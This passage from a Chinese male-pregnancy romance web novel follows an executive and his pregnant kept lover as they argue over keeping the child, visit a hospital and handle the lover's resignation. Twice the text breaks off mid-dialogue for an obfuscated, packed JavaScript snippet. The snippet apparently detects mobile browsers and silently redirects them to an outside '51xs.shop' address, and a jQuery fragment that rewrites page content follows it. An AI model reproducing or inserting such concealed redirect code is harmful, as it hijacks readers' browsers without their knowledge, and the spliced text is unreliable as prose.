万万没想到竟是这么个结果,贺总不光会同意生,恐怕连孩子也会抱走。 他知道自己给不了孩子大富大贵的生活,但努努力,小康不是问题啊!奖励再多算个屁,能换来一个跟他有血缘关系的孩子吗? “那就口述。”贺颜问,“流的什么血?具体原因说清楚。” “……大夫说了好多,记不得了。”元丰淡定地睁眼说瞎话,“具体原因刚才不是跟你说了吗?太频繁啊,反正就是宫颈啊肌瘤啊啥的,忒专业了,我没法口述。” 他许久没有这种想要锤死贺总的心情了,甚至还想骂人。你早干吗去了?刚才不闻不问不知道关心人,现在东一句西一句要看要问的,谁搭理你啊! 贺颜盯着元丰一张一合的嘴,这小子就没有彻底老实的时候。 注意到贺颜带有警告的眼神,元丰心里头一紧。贺总最近对他很好,偶尔还会抱着他睡,以至于他忘了对方最开始的喜怒无常与变态。 “你……你干啥老盯着我,我又没骗你,真的不记得了啊!” “自己的身体,不知道上点心?” “我上了啊,没毛病可不就是扔了吗?拿手上碍事儿。” 贺颜笑了一声说:“明天请假,我带你去医院做个检查。” 元丰差点叫出来,他紧紧咬着牙齿,缓了缓说道:“检查啥啊,我都说了没问题,你这人咋还不信呢?忽悠你我有啥好处?” 贺颜绕回最开始的话题,笑道:“啰唆那么半天,不是想给我生孩子?” 元丰心里那叫一个悔恨,恨不得甩自己俩嘴巴子。 他克制自己的情绪,也跟着笑起来:“想啊!可我不是不会生嘛。今天跟我二妹通电话了,就我那大外甥,天天在她肚子里闹腾,特有意思。所以我才突发奇想啊,要是我也能生一个多好。就是随便问问闲聊天啊,你还当真。” 元丰在贺颜这儿提升上来的可信度又降为0%,他重复道:“明天请假,我带你去医院查查能不能生。” “我不去!”元丰急了,嗓门逐渐变大,“都说了我是男的生不了,你咋还纠结呢?这么想要孩子赶紧找个女人生去!反正你现在都免疫了,要不干脆包养个女人得了,咱俩桥归桥,路归路!” 气氛瞬间降到冰点。 贺颜面色阴沉地盯着元丰,没说话。 元丰一口气说完才意识到自己失态了,怎么一对上贺总就这么沉不住气。 他偷偷瞄了一眼,被那凌厉的眼神吓得立刻自觉站起身。 这……这是暴风雨的宁静啊! 贺颜快速回想之前的所有细节,从细嚼慢咽到睁眼说瞎话,再到刚才那番话,这小子今晚实在不对劲,恐怕不是生理期那么简单。 他拿起桌上的手机,打开通讯录。 元丰见贺总好像要打电话,直觉告诉他绝对不能让对方拨出去。 他立刻坐到对面,乖顺地靠进贺总怀里,低声道歉:“我错了……” “错哪儿了?” “哪儿都错了……”元丰伸出双臂紧搂着男人的腰,脑子里一边想一边说,“你别生气行不?我刚才就是一时激动……真不是故意的。我从小就不爱上医院,心里有阴影啊……” “什么阴影?”贺颜说着拨通了助理的电话。 元丰小时候巴不得上医院瞧病,哪有什么心理阴影。他正思考着合适的理由,就听到了嘟嘟声。 * 最近新出了个很火的宫斗剧,家家户户都在看,火遍全网。 陈硕已经很久没看过能超越《金枝欲孽》和《甄嬛传》的宫斗剧了,新出的这部很明显也比不上,但出奇地叫人上头。 从锦西湾回来,一直看到肚子饿了才想起还没吃晚饭。 他拿起茶几上倒扣着的手机,忽略那几条骚扰短信,打开了外卖软件。 刚点完,贺总的电话打了进来。 陈硕顿时有种不好的预感,他快速接通,还没开口,那头先说话了。 “检查结果是什么?” “……” 陈硕不能撒谎,贺总能直接问出来说明元丰在旁边。他已经答应元丰不说了,但贺总又是自己的衣食父母…… “我没有陪同元先生做检查,一直在车里等着。他说检查没——” “真不知道?想清楚了再说。” 听筒里,又传来元丰的声音。 “你威胁他干啥啊?他本来就没陪我进去,他啥也不知道!你这人咋——” “闭嘴!” 陈硕都打算说了,元丰却极力维护他,他想着还是得为元丰考虑,于是道:“贺总,元先生他——” “我他妈怀孕了!怀了!你满意了不?!” 陈硕听着嘟嘟嘟的忙音,后知后觉地感到一阵内疚。 元丰人这么好,自己却想着把他卖了。 * 元丰吼完迅速起身往卧室的方向走,这个地方不能再待了,还好龙河新村的房子一直没退租。他呼吸有些急促,心里狂喷自己为什么不克制住情绪,把孩子吓没了怎么办。 随口问出的玩笑话居然是真的,贺颜盯着那道瘦弱的背影,坐着没动。 这小子嗓门忒他妈大,他摸了摸自己差点失聪的耳朵,开始细细回忆整个经过。 从小心翼翼试探自己对于孩子的态度来看,元丰想留下这个孩子,藏着掖着应该是被那句话给刺激得以为他要抢孩子,所以急眼了。 理清这么个情况,贺颜心情有些复杂。 出柜十多年,父母虽然无奈接受却一直希望贺家有后。他能理解老一辈的想法,但这个事儿勉强不来,何况他对孩子并没什么感觉。 如今冷不丁多个孩子出来,父母那儿是有交代了,自己这头倒有点棘手。换别人可能还好处理,唯独这小子不行。 生孩子不是儿戏,贺颜冷静地思考着接下来的安排。他目前挺喜欢这个小情儿,也没有换人的想法。 可要因为孩子的问题导致俩人牵扯个三五十年,他还真是没法接受。 而且现在已经不是他接不接受的问题,如果元丰执意要生,他无权干涉。等孩子生下来之后要面对的种种情况,他作为孩子父亲,不可能不参与。 思考到最后,贺颜认真地问了自己两个问题。能不能接受这个小生命的到来?有没有做父亲的觉悟? 元丰顾不上违约赔偿之类的问题,快速收拾着衣柜里的家当,都掏出来才发现自己从出租房里带了整整一蛇皮袋过来。 他无奈选出三套应季的,拉好拉链背上行李,打算去搬墙角的收纳箱,身后传来贺总的声音。 “这是要离家出走?” 元丰转身看向来人,平静地说道:“这儿不是我家,你现在知道了,我这情况也不能再跟你那啥,能不能看在咱俩处过的分上,就……” “就什么?” “好聚好散。” “说得轻巧。”贺颜慢慢走近,笑着问,“带着我的种,准备散哪儿去?” “……”元丰立刻警惕地看向贺总,“你管我呢!” “我确实管不了你。”贺颜观察着小情儿的脸色,继续道,“散之前先把种留下。” 元丰死死攥着背包的背带,告诉自己千万别生气。他呼出一口气,一字一句地说:“我今天把话撂这儿了,就算孩子身上流着你的血,那也跟你没关系。” 果然是这副要炸毛的样子,再刺激下去只怕要跟自己拼命。 贺颜在床沿坐下,拍了拍自己的腿:“过来。” “……”元丰不知道贺总想整哪出,摇头拒绝,“我不。” “不想商量了?” “你老忽悠人,我不信你!”元丰刚说完,顿生一计。 于是他 往后退了两步,假装难过地说:“你一直忽悠我,每回都是。你说话不算话,现在说商量,肯定明天就变卦。” 他越说越委屈,开始低声控诉:“你家大业大那么有钱,为啥老欺负我一个没钱没势的穷吊丝啊?我从小就命苦,身体还畸形……” 贺颜:“……” “老天瞧我可怜,所以送一孩子给我,你也可怜可怜我行不?”元丰低下头狠狠挤了挤双眼,吸着鼻子继续说道,“别跟我抢,求求你了……” 贺颜从头到尾就没想过要抢孩子,也不知道这小子在脑补些什么乱七八糟的,藏着掖着不说,非得让他亲自“逼供”。 “想求我还这么不听话?自己过来。” 元丰等着忽悠贺总签协议,只好放下背包,听话地走过去,主动在那腿上坐下了。 贺颜盯着小情儿微红的眼眶,语气温和了几分:“在你眼里,我是土匪还是人贩子?” “都是。”元丰小声回道。 “真他妈……”贺颜气笑了,“我就不能是孩子他爹?” 元丰摇摇头:“我才是他爹。” “行,你是他爹。”贺颜轻轻摸上元丰的肚子,给出承诺,“孩子是你的,没人会抢。去把扔了的报告单拿给我,听话。” 贺总态度突然三百六十度大转变,事出反常肯定有妖。元丰压根不相信:“你刚才还不是这么说的。” “我怎么说的?”贺颜问。 “你说你爸妈要孙子,用奖励跟我换孩子,还说散之前把种留下。”元丰一一指出来。 “你这脑瓜子怎么理解的,孩子不能见自己爷爷奶奶了?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658622|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “你这么辛苦,我给你奖励也有错?” “……” “最后一个,好聚好散谁提的?” “……” “以后别闹脾气了,把身体养好要紧。”贺颜轻拍了下元丰的小屁股,“好了,去拿报告。” “我不要奖励,反正孩子又不跟你姓。”元丰说。 “……” 关于孩子的问题,贺颜认真考虑了很多,却独独漏了姓氏问题。 元丰这么喜欢孩子,改姓贺估计又要炸,都说孕妇最大,好像确实有点道理。 “你说没人跟我抢,那咱俩再签个协议,要按手印画押的那种。” 贺颜发现他的小情儿变聪明了,还知道按手印画押。他思考了片刻,点头同意了。 “行,不过得再加一条。” “你要加啥?”元丰再次警惕起来。 一切皆有变数,贺颜自己也说不好将来会如何,也许到时候协议会直接作废,但此刻的想法却是最真实的。 他说:“第一个孩子跟你姓,过两年再给贺家生一个。俩孩子依旧跟你一块儿生活,从出生到各自成家前的费用全部由我来承担。你这儿的奖励另算,平时让孩子多见见爷爷奶奶就行。” “我会给他们提供最好的教育资源,生活环境不用多说了。我给你时间考虑,想好了再签。” “……”元丰听到再生一个刚要发飙,就被贺总接下来的话堵住了嘴。有那么一瞬间,他犹豫了。 “去把报告拿过来。”贺颜说,“明天别去公司了,我带你上医院好好做个检查。” 在考虑清楚之前,元丰不想跟贺总闹了,一直生气对孩子也不好。 他老实地指着床上的黑色背包:“在那个包里。” 可算哄好了,贺颜把人放开,拿起床上的黑色背包。他打开一看,除了装着报告单的白色塑料袋,包里塞的全是旧衣服。 “我看你确实命苦,离家出走不知道带几身像样的衣服?” “我可不是喜新厌旧的人。”元丰忍不住回怼道。 贺颜将那几张单子认真看了一遍,看不懂的会问个两三句,等全部看完才意识到之前谈的那些话等于白谈。 这小子身体忒弱,一胎就先兆流产,更别提二胎。尽管身体多长了那玩意儿却是货真价实的男人,能不能平安生子还是个大问题。 元丰偷偷观察着贺总的反应,见对方神情越来越严肃,又开始慌了。 他小心地问道:“这报告还有啥问题不?你看了好久……” 贺颜抬头看向小情儿,藏不住的小心思全部写在了那张白净秀气的脸上。 二十二岁的年纪,人生刚起步。一想到这个年轻人如果因为生孩子出点什么意外,他可能承担不起这个风险。 元丰被贺总盯得更慌了:“咋了啊?” “这孩子确定要吗?” “你这话啥意思?” “明天做完检查,如果医生不建议留下,听医生的。”贺颜平静道。 “我不听!!”元丰激动地站起来,大声嚷道,“你刚还不是这么说的!你咋又变卦?!我他妈再也不会相信你的鬼话!” 贺颜脸色一黑:“分不清好赖话,你这业务经理怎么当的?” “你管我呢!大夫都说了可以保胎,我凭啥听你的啊?”元丰快速冷静下来,“这孩子反正跟你没关系,我愿意生就生,不要你掏钱!” 贺颜指着挂号单正上方的一排楷体字,冷声质问道:“这什么医院?我今天要不问,你就准备在这儿把孩子给生了?” “……” “让你去医院检查,你到这个社区卫生服务中心?” “……” “面子比身体还重要?” “你又不是我,再说我哪儿知道会怀孕啊……”元丰被数落得有点难受,小声反驳,“它有两栋楼,里面特别大,周边居民都上那儿瞧病。” “我他妈上辈子欠了你的。”贺颜真的服了,感觉自己要操心的不是一点半点。 之前谈的附加条件作废不说,还得盯着这小子直到把孩子给生了,完了孩子不跟他姓。 “……”元丰不知道贺总为什么突然发飙,吓得往后退了一步。 “药吃了吗?”贺颜拿起那盒□□胶囊,拆开包装开始查看说明书。 元丰摸不准贺总的态度,老实回道:“等吃完饭歇一小时再吃。” 这话提醒贺颜了,他点点头:“出去把饭吃了。” “哦……”元丰见贺总看得很专心,忍不住问,“贺总,孩子我能留下来不?” 贺颜抬眼扫过去:“我说不留你就听了?” “不听啊,可……”元丰顿了顿,小声说,“反正孩子以后要见爷爷奶奶,就顺便见见你这个爹呗。他以后长大了要是知道你现在这个恶毒的想法,得多难过啊……” 贺颜一笑:“我是孩子他爹吗?” 他算是明白了,在这小子眼里,自己就是个恶毒的土匪兼人贩子。 元丰没吭声,等走到门口时,丢下一句“看你表现”,直接溜了。 “……” 19. 第 19 章 吃完没多久,元丰想起自己的药还在房间里。本打算看一集《甄嬛传》再去拿,但贺总今晚反复无常的,有点不放心。 他慢悠悠地走到卧室门口,见贺颜站在落地窗前,正打着电话。 “估计九十点钟过去。” “他好面子,明天得提前跟医生打个招呼。” “行,那就这么安排。” “又不是我生,能有什么感觉?” “对了,舅舅。这事儿您千万别跟我妈提,回头我跟她说。” “嗐,我自己都没想到,确实挺意外。” “嗯,您早点休息。” 元丰轻手轻脚地离开了,他不是故意要偷听的,只是听到关于自己的话题,以为贺颜又变卦,跟电话那头商量着什么不好的事儿。 他突然觉得自己忒小心眼儿了,贺总其实……还挺好的。要是不这么反复无常,孩子多个亲爹也没啥。 贺颜拿着药去了客厅,把药放在茶几上,叮嘱元丰:“以后按时按点吃,间隔十二小时,吃完就去睡觉。” 元丰低声说了句谢谢。 “大点声儿,听不见。” “……”元丰哦了一声,“谢谢贺总的关心!” “以后还闹不闹了?”贺颜问。 元丰想了想,回道:“你不跟我闹,我就不跟你闹。” “……”贺颜懒得再扯犊子,“明天上午我先送你去医院,检查完去把工作辞了,在家老实待着。” 说到辞职,虽然做好了心理准备,但元丰还是很不舍。经理位置一年都没坐满,这就要退位让傻逼了。 他叹了口气说:“那也得等一星期才行,要交接工作。” “交接的事儿你别管了,我来处理。” “你又不是跑业务的,好多乱七八糟的事儿呢。”元丰忽然想到杨伟那个混吃等死的,继续说道,“而且有个业务员要开除,得我亲自去解决。” 贺颜其实挺欣赏元丰对待工作的积极态度,所以大方地给他定制了六套西服。 但这小子有时候一根筋,没法说。 “我只给你半天时间,明天下午去解决。”贺颜问,“医生怎么交代的?” “可是半天不够啊……”元丰笑着打起商量,“给我三天行不?我一定注意身体。” “别跟我这儿嬉皮笑脸的,只有半天。” “……” 元丰算着时间吃完药,《甄嬛传》第十七集快结尾时,正好播到生孩子的话题上面。说曹贵人怀得不是时候,生孩子又是难产又是胎位不正的,险些搭上一条命。 他一惊,后知后觉意识到生孩子其实是有风险的,自己还是个男人,能生下这个孩子吗? “知道怕了?你以为生孩子那么简单?”贺颜把电视关了,“去洗澡睡觉。” 元丰嘴硬道:“他们这是古代,古代没那条件,生孩子肯定危险啊。” “不错,还挺会自我安慰。” “……” 睡觉前,元丰心想是该听贺总的,半天就半天吧,现在最重要的是把孩子养好。 明天下午先把杨伟辞退了再跟总经理认真道个歉,赵志鹏那儿也得道个歉。还有小美那儿必须好好道个歉,自己这一走,不知道以后还有没有见面的机会。 至于方远那个傻逼,下午把重要的教一下,其他鸡零狗碎的到时候留着微信上沟通,也算是自己为雄威做的最后贡献。 他轻轻翻了个身,主动摸上男人结实的腹肌。 贺颜睁开眼,一把捉住身上那只不老实的手:“想挨cao?” “操不了啊。”元丰笑了笑,“我就是想跟你说声谢谢,谢谢你啊,贺总。” “嗯,睡觉。” “好。” 贺颜睡到后半夜,被吵醒了。一只胳膊突然打在胸口,紧跟着耳边传来几句含混不清的梦话。他睁开双眼,攥住胸前的胳膊轻轻一拉,小情儿老实地闭上了嘴。 元丰梦到自己辞职了,黄总经理拉着他的胳膊苦苦挽留,说分公司不能没有他。他感动得一塌糊涂却只能拼命道歉,解释说自己远在老家的母亲生了大病,得回去尽孝。 总经理不得不批准,难过地给了他一个拥抱:“小元啊,失去你这么优秀的员工,是雄威的损失啊……” 他再次诚恳道歉:“总经理,真的对不起啊……” “别吵。” 听到熟悉的男声,元丰脑子有些蒙,迷迷糊糊地伸手摸了摸,又在微微鼓起的皮肤上摸来摸去。 贺颜立刻按住胸前那只不老实的手,压着没动。等怀里的人又睡熟后,他起身套上睡袍,离开了卧室。 无人打扰的深夜,贺颜独自坐在沙发上,认真思考着与孩子有关的协议内容。 如果孩子能保住,自己跟元丰之间的包养关系将不再纯粹。伴随着孩子的成长过程,他们会一直有牵扯,父母也会参与进来。 他已经做好当爹的心理准备,也打消了要二胎的想法,所以等孩子平安生下来,他自然不会让对方带着孩子离开自己的视线。 这个棘手的问题不是用钱就能解决的,尽管相处时间不长,贺颜自认为还算了解元丰。 这小子要强又好面子,恐怕除了孩子什么都不稀罕。 这一点其实挺好,比起爷爷奶奶和保姆,他始终觉得孩子留在妈妈身边才是最好的。虽然这亲妈是个带把的,但从现在的情况来看,以后给孩子的爱一分不会少。 关于要重新拟定的内容,贺颜静下心来思考了很久,却没想出一个能对彼此都好的结果,因为牵扯到孩子了。 他甚至想到孩子将来要是问爸爸妈妈为什么不在一起,为什么自己的家庭跟别人的不一样时,应该如何正确引导孩子去接受与面对。 最后,贺颜暂时放弃了思考,目前要做的是先照顾好这小子的情绪,让元丰安心把孩子生下来。 元丰在平时的点自然醒了,刚睁眼就看到贺总硬朗帅气的五官。借着窗帘缝隙中透进来的阳光,他第一次这么近距离地观察对方。 这俩眉毛可真浓密啊,听说眉毛浓密的人特别重情重义,好像有点道理。 仔细想想,贺总其实还挺会关心人的,报告单看了那么久,不懂的还会问,又叮嘱吃药得间隔十二小时。 都同意留下孩子却突然变卦,肯定是因为担心自己的身体吧。这么细细琢磨一番,他在心里给贺总加了5分。 元丰已经想好了,等凑满100分,就承认贺总是孩子他爹。他光明正大地欣赏着,发现那眼睫毛也挺浓密的,然而还没看几秒,那双闭着的眼睛突然睁开了。 “在看什么?” 对视不过一秒,元丰心虚地挪开视线,胡乱说道:“我……我看你好像有眼屎!” “……” 元丰意识到自己说错话,侧头赶紧瞄了一眼,补救道:“没眼屎,是我眼花了,看错了。” “欠抽。” “……” 贺颜换成平躺姿势,又闭上眼睛,低声命令道:“过来。” 元丰会意,听话地缓缓靠进贺总怀里,手往下伸去,“贺总,今天会不会耽误你工作啊?” “你说会不会?” “……” 虽然没接触过,但元丰自己一个业务经理还有事没事开早会,贺总这么大的老板只怕会议更多。他有些过意不去:“工作要紧,还是让陈助理送我过去吧。” “不用。” “那多不好意思啊,还麻烦你亲自送我。” “确实挺麻烦。” “……” 元丰手一顿,心里说不出是个什么滋味儿,或许就不该贪图贺总提供的便利,人还是得靠自己。 贺颜察觉到元丰的不对劲:“怎么了这是?” 元丰闷声回道:“不想耽误你工作,你告诉我是哪个医院,我自己去。” 贺颜意识到自己忘了照顾孕夫的情绪,于是伸手揽住元丰:“你这脑瓜子里又在想什么乱七八糟的?还跟我逞能?” “谁跟你逞能啊,我也不喜欢麻烦别人,可又不认识大医院里的人,我……” “刚才说漏了,不麻烦。”贺颜耐心哄着,“送我儿子上医院,应该的。” “……”元丰忍不住回怼,“你说儿子就儿子啊,没准是个姑娘。” “闺女也好,都行。”贺颜说儿子倒不是因为重男轻女,作为一个纯gay,他从没想过自己这辈子会有个闺女。 元丰没吭声,他心想:我还没承认你是孩子他爹呢。 * 除了擦屁股,陈硕的作息一直很规律,直到昨晚。这部新出的宫斗剧多少有点毒,叫人废寝忘食。也正因如此,他没有错过贺总半夜两点多发来的短信。 七点准时起床,再用定时烧好的热水泡一杯燕麦。吃完简单的早餐,便出发去往锦西湾。 在看到餐桌前和谐相处的大金主与小情人时,陈硕悬着的心放下了,终于不用再挨批。他知道贺总是个有担当的男人,一定会负责到底。 “陈助理,你也一块儿过来啊!” 看向冲自己打招呼的元丰,陈硕心里有些感动,于是面无表情地婉拒道:“谢谢元先生,我吃过了。” “哦哦,那行吧。”元丰点点头,继续吃了起来。“把我那车开回车库,自己随便挑一辆合适的,车钥匙在进门左手边第一个抽屉里。” “好的,贺总。”陈硕接过贺总递来的钥匙,把自己开的那辆车的车钥匙递了过去。 “嗯,回吧。” “好的。” 元丰全程偷偷观察主仆二人的互动,真不知道自己怎么会因为这俩人身上都有清香就怀疑他们有一腿。 等人走了,他忍不住模仿贺总刚才的口吻,冷冷地说道:“把我那车开回车库,自己随便挑一辆,车钥匙在……在进门的抽屉里。” 贺颜盯着元丰那故作严肃的表情,皱眉道:“吃饱了闲的。” “我还没吃饱呢。”元丰嘿嘿一笑,“贺总,你有多少辆车啊?” “几百辆。”贺颜敷衍道。 “我操!”元丰惊道,“真的假的啊?你开得过来不?” “假的。” “我就说啊,再有钱也不至于买这么多车啊,除非脑子让驴给踢了。” “吃你的肉包子。” “哦哦。” 元丰不知道贺总会怎么安排,全程光顾着看手机了。先是用微信跟总经理请了半天假,随后单独私聊杨伟和方远,让这俩傻逼中午记得回公司一趟。 最后跟小美提了自己要辞职回老家的事儿。小美难过得不行,他无法说出实情,只能不停地安慰。 到了地方才知道是本市最大的公立医院,光找车位就费了不少时间。 一想到贺总为了自己,把那辆上下都嫌费劲的越野车跟陈硕换了后,元丰心里有些高兴。他打开手机备忘录,在一个名叫“孩子他爹考核成绩”的笔记里又加了5分。 他准备在这九个月里,把贺总对孩子的关心和照顾都用打分的形式记录下来。多一个对孩子好的人,自己将来也能放心。 贺颜提前给他舅舅打了一通电话,带着元丰直奔住院部大楼。 元丰从没享受过这么好的待遇,贺总带他去了住院部的VIP病房,是个带客厅的单人套间。除了必要的走动,好多检查包括抽血都是在病房里完成的。 中年女医生和护士的态度也很温和,医生说医院曾经接待过像他这样的孕妇,做检查时还安慰他别太紧张。 其实元丰一点都不紧张,反而很高兴。他偷偷观察着全程陪在自己身边的男人,贺颜一直很耐心地跟医生咨询关于他身体的情况以及后期生产的问题,甚至问出了他压根没考虑到的,孩子是否会有遗传两性畸形的可能。 他心里开始发慌,自己怎么会把这么重要的事儿给忘了?如果遗传,这不是毁了孩子的一生吗? 贺颜注意到元丰发白的脸色,伸手摸上他的脑袋揉了揉:“慌什么?现在医学发达,做个手术的事儿。” “那也是不健康的啊。”手术后是什么样子都不知道,元丰担心孩子长大遭人嫌弃,忍不住担心道,“将来找不到对象咋办啊……” 贺颜脸一黑:“找不到那就自己单过。” “……” “具体听医生的,知道吗?”贺颜又说。 元丰这回没再闹,难过地哦了一声。 中年女医生等他俩说完话才笑着安慰:“这个两性畸形的种类很多,有些确实会遗传,有些不会。等月份大了做个羊水穿刺,准一些,看看胎儿的染色体有没有异常,没有就可以放心了。” 元丰还是很担心:“大夫,要是查出有问题,孩子是不是不能要了啊?” 贺颜想到遗传问题,他问元丰:“你那妹妹跟弟弟身体都健康?” “是啊,不知道为啥就我这样。我爷那辈都没听说过这个毛病,家里也没遗传。” 女医生听了补充道:“那遗传的可能性估计不大,导致两性畸形的原因很复杂,除了染色体、基因和内分泌激素等问题之外,家族遗传是一个,还有些就是怀孕的时候吃了什么药,受了什么辐射都没准儿。不放心的话,再问问家里头。” 元丰稍微安心了些,问是没法问了,总不能告诉家里自己怀孕了吧?这下连过年都回不去了,还说见见大外甥的。 医生离开没多久,一位颇有领导气质的中年男人走了进来。 元丰瞧那派头立刻猜出来人应该是贺总的舅舅,正想着要怎么称呼,对方径直走到他跟前,先打起了招呼:“是叫元丰吧?你好,我是贺颜舅舅,这家医院的院长。” “……”元丰愣了一瞬,赶忙说道,“您好,我是元丰。一元两元的元,丰收的丰。今天给……给您添麻烦了!” 昨晚电话里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658623|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没交代清楚,贺颜就猜到会是这么个情况,他站起身说道:“舅舅,咱们出去谈。” “等会儿的。”闵兰青无视外甥,跟床上坐着的年轻人继续说,“我听医生说了,你也别有太大压力,保持一个良好的心态。下回有什么事儿,直接让贺颜给我打电话。” “……”元丰听到“贺颜”俩字儿,心里突然产生一股奇怪的感觉,他可不敢直呼贺总大名。 这舅舅人真好,他笑着点头:“我已经调整好了,谢谢院长。” 贺颜真怕他舅舅再说出什么“都是一家人”之类的话,丢下一句好好休息,强行把人给拉走了。 “……”元丰一脸懵逼地盯着被带上的房门。 因为要等报告单,整个上午都耗在医院里,元丰还睡了一小时。他的身体没大问题,从血检单子来看,HCG的数据比昨天增长了一些,孕酮值没什么变化。 医生交代药继续吃着,在家尽量卧床多休息,三天后再抽一次血看看,如果数据变化一直这么缓慢,就得打保胎针了。 元丰不想打针,心里祈祷着数据一定要好起来。他步伐缓慢地跟在男人身边,这回没再说谢谢。 虽然考核成绩才10分,但贺总今天的表现特好,一直在关心他跟孩子。反正以后都是孩子他爹了,还有啥好客气的。 “公司别去了。”贺颜说,“辞职的事儿交给陈硕去处理,你给我在家好好躺着。” 元丰也想听贺总的,可又觉得不当面跟总经理道个歉说不过去,他笑着打起商量:“总经理挺器重我的,现在跟个甩手掌柜一样说走就走,我不好意思。就去半小时,行不行啊?” 半天改成半小时,贺颜大方同意了:“肚子饿了吗?” “嗯。”问得真是时候,还关心自己饿没饿肚子。元丰掏出手机打开备忘录,在“5+5”后面补了个“10+1”。 “今天先在外头随便吃点。” “好!” 元丰偷偷瞄了眼正在开车的男人,看向手机屏幕。这光写数字不写加分理由,回头要是忘了咋整? 他回忆着前面两个5分,第一个是因为贺总关心自己还认真看报告单和说明书,第二个是早上为了自己特地跟陈硕换车开。他把格式修改了下,在每个数字后面加上了理由。 5,认真看报告单和药的说明书。 5,为了孩子,跟陈硕换车开。 10,陪我做检查,关心我和孩子,跟医生聊了好多。 1,关心我饿没饿肚子。 贺总不是陈硕,元丰没好意思让对方把车停在大食堂门口,说了估计他也不答应。反正明天不会再来了,真有什么风言风语,随它去。 下车前,他问道:“贺总,都一点多了,你下午没事儿吧?” 贺颜闻声侧头,笑着打趣道:“能有什么事儿?托我闺女的福,歇一天。” 元丰盯着贺总微微上扬的嘴角,忍不住问道:“万一是个小子呢?” “……”贺颜服了,“我以前怎么没发现你还挺喜欢抬杠的?” “我没抬啊。” “行了,去办正事儿。” “那我去了啊。” “嗯,自己注意身体。” 元丰乐和地点点头,下车了。 等进了公司大门,元丰掏出手机给杨伟和方远各私发了一条消息。要是他们回来了就说两句,没回他也管不了了,该交代的到时候微信上再细说。 他走到前台那儿,冲正在看手机的女孩打了个招呼:“小美。” 小美听到熟悉的声音,立刻放下手机,一脸担忧地关心道:“丰哥,你家里头没事儿吧?你妈身体……怎么样啊?” “还行,就是每天得做好几回透析,等肾源。”元丰看着眼前这个长相甜美的女孩儿,想起之前的打情骂俏,他不禁怀疑当时的自己是不是脑子让驴给踢了,怎么能干出这种傻逼事儿。 “我也支持你回去看看。”小美有些难过,“就是以后见不到你了,丰哥你几点走啊?等下班我请你吃个饭好不好?” 贺总还在外面等自己,元丰面露难色:“不好意思啊小美,跟总经理说完就得走了。等以后有机会的,哥请你吃饭。” 小美点点头,笑着说:“那行,丰哥你快去找总经理吧,我不耽误你时间,等你以后回来请我吃饭。” “好。”元丰回头看了眼前台坐着的女孩,小美真是个好姑娘啊。 午后的办公室很安静,阳光从窗外打进来,元丰拿起办公桌上的黑色保温杯愣了一会儿神,保温杯是上个业务经理送的。 如果没有许经理的赏识,自己在雄威也不会有今天,可惜要离开了。 他在心里快速做了个告别,随后打开电脑把经理日常要做的那些事儿写进Word文档里,其他一些重要资料也单独归类,重新建了个文件夹。 忙完最要紧的,方远和杨伟那俩傻逼依旧没回消息,显然是不把他这个经理放在眼里。 能带走的私人物品也就保温杯和抽屉里的干湿巾,收拾好东西,他去了总经理办公室。 时间紧迫,元丰一见到总经理立刻开门见山地提了辞职的事儿,理由是母亲重病,得回老家尽孝。 最中意的员工突然要辞职回老家,黄振兴哪肯放人? 先是一通安慰,趁着员工心软之时再苦口婆心地劝说道:“小元啊,我给你批个长假,分公司那儿不着急的。再转你一千块钱,带点营养品回去给你妈好好补补身子。” 元丰已经很内疚了,连忙婉拒道:“总经理您千万别这么客气,是我对不起雄威对不起您,这趟回去也不知道什么时候能过来……” 黄振兴实在舍不得放人,又是一番苦口婆心却没任何效果,最后不得不叹息道:“什么时候回去?” “实在对不起啊,总经理。今晚就得赶回去,家里催得紧……” “……” 元丰说完见总经理坐在沙发上没吱声,心里越发内疚。 他主动提起交接的事儿,说自己把重要的都记在电脑里了,回头再跟方远微信上沟通,保证把人教到会为止。 原本他还想推荐赵志鹏去分公司顺便提一下辞退杨伟的想法,可总经理瞧着不大高兴,话到嘴边又憋了回去。 走出办公室,元丰心里挺难受的。总经理虽然不高兴,但还是给他转了一千块钱,说要是能提前回来,雄威随时欢迎他。 他掏出手机一看,操,时间怎么过得这么快?贺总该等烦了。 怪不得对方老是嫌自己啰唆话多,总经理刚才就是啰唆个没完没了,弄得他都不知道该怎么离开。 微信没有未读消息,元丰管不了了。杨伟要是真做得不好,总经理肯定会辞退他的。至于方远那儿,只能等回去打电话沟通了。 他拎着塑料袋慢慢下楼梯,走到一楼时,碰上回来的那俩人。 真是说曹操,曹操就到。 20. 第 20 章 贺颜等了三刻钟,耐心耗尽。 他看向窗外的雄威金属材料有限公司,以元丰爱岗敬业的程度来看,恐怕已经坐在办公室里上起了班。 拿起手机准备打电话时,他又放下了。既然休息,不如借此机会看看这小子的工作环境。 眼前的大楼年代久远,公司规模瞧着挺一般。前台那姑娘好像是元丰的旧相好,贺颜走过去礼貌地问道:“你好,请问业务部怎么走?” 小美抬起头直接愣住,好高好帅的男人。 “请问业务部怎么走?”贺颜重复道。 “啊,在……在二楼右手边第一间。”小美猜测男人可能是丰哥的客户,立刻站起身,热情询问,“需要我给您带路吗?” “我自己过去就行,谢谢。” “好,不用客气。” 小美盯着男人离去的身影看了两眼,没想到连背影都那么帅。 